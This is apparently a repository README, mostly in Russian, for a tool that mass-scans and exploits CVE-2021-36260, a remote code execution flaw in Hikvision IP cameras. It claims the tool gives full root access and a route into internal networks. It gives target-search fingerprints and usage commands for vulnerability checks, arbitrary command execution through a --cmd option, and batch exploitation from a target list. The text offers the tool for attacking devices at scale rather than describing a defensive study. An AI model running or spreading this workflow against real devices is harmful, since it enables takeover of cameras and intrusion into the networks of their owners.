cuerz/cve-2021-36260Инструмент для массового обнаружения и эксплуатации уязвимости RCE в устройствах Hikvision.
Используя эту уязвимость, атакующий может получить полный контроль над устройством с помощью неограниченной root-оболочки, даже если владелец устройства ограничен защищённой оболочкой (psh). Помимо взлома IP-камеры, возможен доступ и атака на внутреннюю сеть.
header="Hikvision"
app="HIKVISION-视频监控"
python ./CVE-2021-36260.py -u http://192.168.1.1:8080 --check
python ./CVE-2021-36260.py -u http://192.168.1.1:8080 --cmd "ls -la"
python ./CVE-2021-36260.py -f target.txt
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL Start scanning url
-f FILE, --file FILE read the url from the file
--check Check if vulnerable
--cmd CMD execute cmd (i.e: "ls -l")
Пакетное сканирование для поиска уязвимых целей (src).